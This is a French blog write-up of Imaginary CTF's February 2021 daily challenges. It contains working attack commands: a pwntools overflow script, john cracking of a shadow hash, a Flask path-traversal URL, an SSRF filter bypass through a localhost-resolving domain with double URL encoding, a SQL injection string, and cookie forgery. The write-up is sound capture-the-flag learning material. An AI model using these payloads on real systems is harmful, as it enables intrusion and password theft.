Imaginary CTF Writeup - Février 2021

1 mars 2021

Février a été un long mois (ahah, 28 jours). Pas seulement à cause de recherche d’un travail, mais aussi à cause de soucis relativement… Personnels. Heureusement, il y avait les challenges quotidiens d’iCTF entre temps pour m’aider à penser à autre chose.

Je préfère préciser en avance: il y a beaucoup de défis que je n’ai pas eu le temps de faire car le domaine m’est totalement inconnu ou que je n’ai pas pu finir. Mais je laisse quand même mon compte-rendu de ce que j’ai pu faire.

NULL

En cliquant sur la pièce jointe, on a un gigantesque texte, donc pour gagner de l’espace, j’ai mis directement le code: chaque chiffre correspond à une lettre du texte, et ensemble, ça fait le mot de passe:

text = "CorrosionIsTheProcessThatCanDeteriorateTheQualityOfAMaterialOrChangeItToSomeOtherMaterialEntirelyDueToTheEffectsOfTheSurroundingsItCanGraduallyDestroyMaterialsByChemicalProcessesCausedNaturallyByTheEnvironmentItIsASignificantConcernForBiomaterialsToBeCorrosionResistantBecauseCorrosionCanCauseAMaterialToLoseItsOriginalFunctionalityAndBringAboutModificationsOnTheSurfaceItMightAlsoLeadToTheReleaseOfMetalIonsIntoTheBodyWhichCanResultInAllergicResponsesAndSometimesACarcinogenicResponseInWorstCaseScenariosCorrosionInAMetallicBiomaterialMayChangeThePhAndOxygenContentsOfTheSurroundingsAndAChangeInBehaviourMayOccurInSuchConditionsHenceThereShouldBeALimitToHowMuchCorrosionIsAllowedInAWorkingBiomaterialWeCanConcludeThatTheCorrosionProcessIsOneOfTheMostImportantMediatorsOfTheTissueResponseToMetallicBiomaterialsAndADecentUnderstandingAndAccurateEvaluationOfTheCorrosionBehaviourIsNecessaryInOrderToDesignBiomaterialsOftentimesNobleMetalsAndMetalsWhichDevelopInertOxideLayerOverTheirSurfacesAreSeenBeingUsedInMedicalDevicesWhereAlmostNoCorrosionIsTolerableOnTheOtherHandSometimesWeNeedBiomaterialsWhichAreResorbableAndDegradeGraduallyOverAPeriodOfTimeSoThatTheyCanBeReplacedWithNaturalTissuesInSuchCasesCorrosionIsANecessaryEvilAndCanBeUsedInOurFavour"
 key = [24, 28, 110, 126, 145, 200, 209, 222, 231, 332, 447, 460, 472, 476, 480, 569, 591, 629, 633, 650, 671, 695, 696, 699, 706, 833]
 res = ""
 for i in key:
     res += text[i-1]
 print(res)

Flag: ictf{ancientcryptoisfascinating}


Where is the SUGAR…

Petit indice gratuit, LRUC (qui à l’envers fait cURL ;p ) va nous être très utile.

Si on clique sur le lien on va prendre une bonne 20aine de secondes pour nous faire arriver sur un rickroll…

Et donc on veut un flag comme ca?

Avec cURL, vérifions un peu ce qui se passe en étant le plus verbose possible et en suivant toutes les redirections:

curl -Lvv http://oreos.ctfchallenge.ga/

Beaucoup de redirections (~12/13!) se font pour arriver enfin sur YouTube…

En remontant un peu, je suis tombé sur cette redirection très intéressante:

un cookie « sugar » est crée… Maintenant le titre du défi est clair. Allons faire une requête avec le cookie « sugar » mis en True:

curl http://oreos.ctfchallenge.ga/ -Lvv -b sugar=True

Flag: ictf{c00k13s_@re_S0oO_co0L}


A Stegosaurus?!

Jeu de mots incoming, mais on sent qu’on va utiliser la stéganographie pour hacker tout ça!

I’m a Stegausaurus!

Comme steghide ne marche pas malgré plusieurs essais, un coup de strings pour voir s’il existe du texte caché:

strings steg.jpg
[...]
L~@+
 cZ#U
 E-=,
 *"u4
 D@DD
 D@DD
 D@DD
 D@DD
 D@DD
 ictf{w0w_st3gan0graphy!}

Flag: ictf{w0w_st3gan0graphy!}


Basics of PWN 1.2

Suite d’un exercice déjà présent au mois précédent, avec la source en cadeau pour mieux comprendre comment utiliser la suite PWNTools.

Notre but est de donner x la valeur 0x66746369.

Pour cela:

!/usr/bin/env python3
 from pwn import *
 p = remote("54.175.62.191", 3000)
 p.sendline(b"A"*12 + p32(0x66746369))
 p.interactive()

Ce qui fait…

Flag: ictf{h4h4_jus7_w4n73d_t0_t34ch_b377er}


adminpassword

Lorsqu’on clique sur le site, il n ‘y a rien de particulier, juste un nom d’utilisateur:

J’ai rentré admin pour voir ce qui allait se passer; mais il me dit que mes identifiants sont incorrects

en analysant la source, j’ai vu qu’une forme a été omise et qui a été mise en commentaire:

Une modification du code s’impose, pour rajouter l’onglet password :

Dorénavant, le mot de passe… testons le plus basique (admin/password comme annoncé dans le titre du CTF):

Bingo, first try every time 🙂

Flag: ictf{1nv1sIbl3_fl@g5}


AppleBot 2.0

En analysant la source, on se rend compte qu’on est limité à 50 actions maximum, en plus de remarquer une grosse erreur dans le décompte des donations: les pommes utilisent un int, tandis que les donations utilisent un long via le scanf.

Comme on ne peut pas aller plus loin qu’un int, on va rentrer la valeur maximale d’un int ( 214783647), ce qui va le transformer immédiatement en underflow.

Si je retape cette valeur, je vais arriver à 7, ce qui est au final normal… Donc j’ai changé la valeur par 429496700, et j’ai refait plusieurs fois l’opération…

Your flag is: ictf{s0_m4ny_4ppl3s_…_1s_4ppl3bot_4_sc4m???}


From the Shadows

On récupère un fichier zip (Shadows.zip). On va voir si on peut l’extraire:

unzip Shadows.zip

On voit qu’il y a 2 fichiers: passwd et shadow. Tiens, c’est marrant, que cela voudrait t’il dire? Voyons voir à l’intérieur:

L’utilisateur nitr0 semble avoir un mot de passe, dont le hash est visible.

Allons unifier tout ca ensemble:

unshadow ./passwd ./shadow > passcrack.txt

Désormais, allons cracker le hash de nitr0 et uniquement lui avec john :

sudo john pass.txt --users=nitr0 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2complicated (nitr0)
1g 0:00:02:51 DONE (2021-02-10 23:30) 0.005844g/s 3210p/s 3210c/s 3210C/s 310736..29denoviembre
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Code: ictf{2complicated}


Cookie-Sale

Celui-ci m’a été prise de tête, car j’avais la solution depuis le début, mais il n’y avait qu’un détail qui m’a échappé pendant très longtemps. Et j’avoue n’avoir pas dormi correctement pendant plusieurs jours à cause de ça.

Quand on va sur la page de commande, et qu’on commande des Oatmeal Raisin Cookies (c’est pas bon au passage), voila ce qui arrive:

Autrement dit, quelque soit l’action, on n’arrivera pas à avoir les cookies qu’on veut. On va modifier la requête pour que Zyphen obtienne enfin ses cookies favoris:

Cookie: user=Zyphen; flavor=OatmealRaisin

Flag: ictf{c00k1e_m@n1pul@t1on_1s_ez}


W3b s0urc3ry

Celui ci m’a aussi posé du fil a retordre, et j’ai pu le réussir quasiment à la fin du mois, en comprenant ce qui n’allait pas (Et c’était vraiment idiot!!)

Quand on arrive sur la page, on voit une page d’admin, avec du login. Sauf qu’en examinant la page…

… On s’aperçoit d’un commentaire un poil anodin qui raconte qu’il y a une base sqlite présente (et que le site est en production, quel crétin!), accessible sur oreos.ctfchallenge.ga:30000/secure/data.sqlite .

Avec HeidiSQL, on va ouvrir la base de données en question et on tombe sur (surprise) une base de données d’utilisateurs (avec comme toujours un rickroll quelque part):

Et la, en rentrant Ruth / Wakefield, surprise:

C’est pas fini, mais une AUTRE base de données existe, cette fois-ci sur oreos.ctfchallenge.ga:30000/secure/cookies.sqlite .

En y allant, on remarque quelque chose de suspect, une valeur de cookie, avec une clé:

On va ajouter notre clé durant notre requête POST:

Et résultat, un flag est présent dans notre réponse! J’avoue que pendant quelques temps, je pensais devoir écraser une requête cookie récupérée lors d’un GET mais avec une durée très limitée, mais en testant au hasard, ça avait marché… (pas) GG moi.

Flag: ictf{d3vel0p3rs_@r3_c00l}


Client Side 1

En lisant ça, on va s’attendre à coup sur à du Javascript. En cliquant sur le lien, et en lisant la source, on observe que le bouton à comme action :

<button onclick="check(document.getElementById('password').value)">Check</button>

tandis que la fonction est la suivante:

<script>var _0x149e=['1075230xBwxSB','969237SgnaBV','1KkrtOa','141nVvLdM','youwillnevereverguessthispasswordbecauseitstoolonglolXD','1295725OZKhBo','VjFaYWExUXdNVWRqU0ZaclVqTkNjRlZyVm1Gak1XeDBZMGQwWVdKVk5ESlZiVEV3V1ZaYWNXSklRbGhXYlZKVVZERkZPVkJSUFQwPQ==','1alDBVo','7637IvXsBw','1138477vvIhbr','176869hXQrFG','2738145xAbRBs'];var _0x2acb=function(_0x90b83a,_0x148c4a){_0x90b83a=_0x90b83a-0x17b;var _0x149e3c=_0x149e[_0x90b83a];return _0x149e3c;};(function(_0x390b78,_0x57629d){var _0x312418=_0x2acb;while(!![]){try{var _0x45d933=parseInt(_0x312418(0x17c))+-parseInt(_0x312418(0x180))*parseInt(_0x312418(0x186))+parseInt(_0x312418(0x17f))+parseInt(_0x312418(0x17b))*parseInt(_0x312418(0x182))+parseInt(_0x312418(0x184))+-parseInt(_0x312418(0x17d))+parseInt(_0x312418(0x17e))*-parseInt(_0x312418(0x181));if(_0x45d933===_0x57629d)break;else _0x390b78['push'](_0x390b78['shift']());}catch(_0xa1af7e){_0x390b78['push'](_0x390b78['shift']());}}}(_0x149e,0xab62e));function check(_0xccae0b){var _0x2605b6=_0x2acb;_0xccae0b==_0x2605b6(0x183)&&alert(atob(atob(atob(atob(atob(_0x2605b6(0x185)))))));}</script>

Il y a 2 variables qui sautent au yeux: youwillnevereverguessthispasswordbecauseitstoolonglolXD qui donne le mot de passe immédiatement, et une autre, VjFaYWExUXdNVWRqU0ZaclVqTkNjRlZyVm1Gak1XeDBZMGQwWVdKVk5ESlZiVEV3V1ZaYWNXSklRbGhXYlZKVVZERkZPVkJSUFQwPQ== qui une fois décodé en base64 plusieurs fois, donnent le même flag:

echo VjFaYWExUXdNVWRqU0ZaclVqTkNjRlZyVm1Gak1XeDBZMGQwWVdKVk5ESlZiVEV3V1ZaYWNXSklRbGhXYlZKVVZERkZPVkJSUFQwPQ== | base64 --decode | base64 --decode | base64 --decode | base64 --decode | base64 --decode
ictf{cl1en7_s1de_bad}

Flag: ictf{cl1en7_s1de_bad}


YouTube OSINT

Un challenge assez simple même si le début est toujours dur.

En fait, le « Made by @developer » m’a fait partir sur une mauvaise piste, sauf qu’en réalité cette personne n’est autre que le serveur lui-même… (toujours pas) Bravo moi.

Donc ils parlent de YouTube: une simple recherche sur Google m’a fait tomber sur ce lien d’Imaginary CTF:

https://www.youtube.com/channel/UCFVdiF8md5chgOzoTEe5PJQ/featured

J’ai essayé de regarder toutes les vidéos, mais je n’ai rien vu de particulier…

Cela dit, il y avait une chaine « featured », donc j’ai cliqué la dessus pour voir ce qu’il y avait. Cependant, en regardant au hasard les 2 vidéos, celle-ci avait quelque chose d’assez intéressant:

  1. La vidéo a des sous-titres visibles nulle part dans la vidéo. En temps normal YouTube les retranscrit automatiquement, mais pas ici;
  2. Ce commentaire écrit par, devinez qui, iCTF:

YouTube permet de lire les transcripts (initialement pour ceux voulant les traduire -enfin, malgré leur récente décision), sauf qu’en lisant la transcription… On voit ceci:

Un flag incomplet /: . Que dire de plus que « il est où l’autre partie? » … Et bien dans le commentaire YouTube! On pourrait croire à un lien vidéo mais non. En réalité, ce dernier semble avoir été encrypté en base64, qui donne… 0_brrrrrrrr}

Flag: ictf{subt1tl3s_g0_brrrrrrrr}


Pathological Liars

Challenge très simple malgré les points données (celui au dessus était plus dur et pourtant – 50 points seulement :/ )

En cliquant sur le lien, on tombe sur ceci:

La source du code qui semble être basée sur Flask. Cependant, vous voyez la fonction serve() ? Dedans se trouve ces lignes:

    filename = flask.request.args.get("highlight", __file__)
    content = get_content(filename)

En fait, on va exploiter une faille de Flask qui semble être assez connue. Dans notre fonction, on recupere la variable highlight, essaie d’ouvrir le fichier via un chemin local et output son contenu. Comme on cherche un flag, on sait que ca sera soit « flag » ou « flag.txt » qu’on devra essayer d’ouvrir, ce qui est logique. Mais où?

Après quelques minutes d’essais bidons (ou non), la solution est ici:

https://pathological-liars.robinjadoul.repl.co/?highlight=../flag.txt

Flag: ictf{oh_your_parents_dont_have_a_flag?}


Simple Servers Real Fun

Celui-ci est dans la même veine qu’au dessus… Enfin non, pas réellement.

En ouvrant, on RETROUVE à nouveau un code source sous Flask.

On voit que le chemin /flag redirige, si on est localhost vers le flag. Si on ne l’est pas, on tombe vers… Vous savez quoi.

Heureusement, le chemin « /hit_it » permet de se diriger vers un lien. Or, on nous interdit le bon sens des choses, c’est à dire 127.0.0.1, localhost, et /flag (logique, sinon le défi serait sans interêt). Donc un lien externe marche, pas un lien local. Or, c’est ce qu’on veut.

Cependant, rien ne nous interdit de faire l’idée la plus STUPIDE du monde qui soit, mais qui marche… Autrement dit… Rediriger vers un lien qui REDIRIGE vers soi-même, et qui casse tout l’idée du défi… Donc il faut faire une attaque de type Server Side Request Forgery.

En golang, j’ai essayé de faire un serveur local avec redirection vers localhost, mais ca ne marche pas. Deception.

Ensuite, j’ai essayé de voir comment rediriger toute requête vers localhost, mais il existe sur internet des DNS publics permettant de le faire directement, comme yoogle.com ou 42foo.com . Coolios!

Donc on va les utiliser à la place. J’ai tenté de me connecter comme ca: https://simple-servers-real-fun.robinjadoul.repl.co/hit_it?it=https://42foo.com/flag

Or, il intercepte immédiatement « flag », et rien n’est redirigé… Donc il a fallu que je change la requête pour encoder une lettre de ce mot. Je me suis aidé de ce site.

flag devient donc f%6cag … Or, il l’intercepte aussi en le testant, comme il est déja transcodé dans la redirection. DONC, il a fallu que j’encode en plus de cela le « % » (%25) pour que ca fasse ceci:

Flag: ictf{mind_the_ssrf_bypass}


My Login Combiner

Pour le dernier challenge de Février, celui-ci était très rapide.

On remarque qu’ici on a une page de login. La premiere des idées est de faire des injections SQL « blind » (examples en dessous)…

Du coup j’ai essayé de les taper un à un à la fois dans le login et le password, et ' or 1=1" à fonctionné. Malheureusement, pas de screenshot justificatif, le challenge est fermé.

Flag: ictf{SqlI_ftw_c0nf1rm3d}


System Hardening 4

<a écrire>


Challenges non-fait/réussi

Mots clés

Ch0wW

🌍 Entrez dans mon monde! Je poste du contenu en rapport avec les jeux retro, l'informatique, le modding et la réparation d'appareils... N'hésitez pas à me contacter pour toute question ou demande!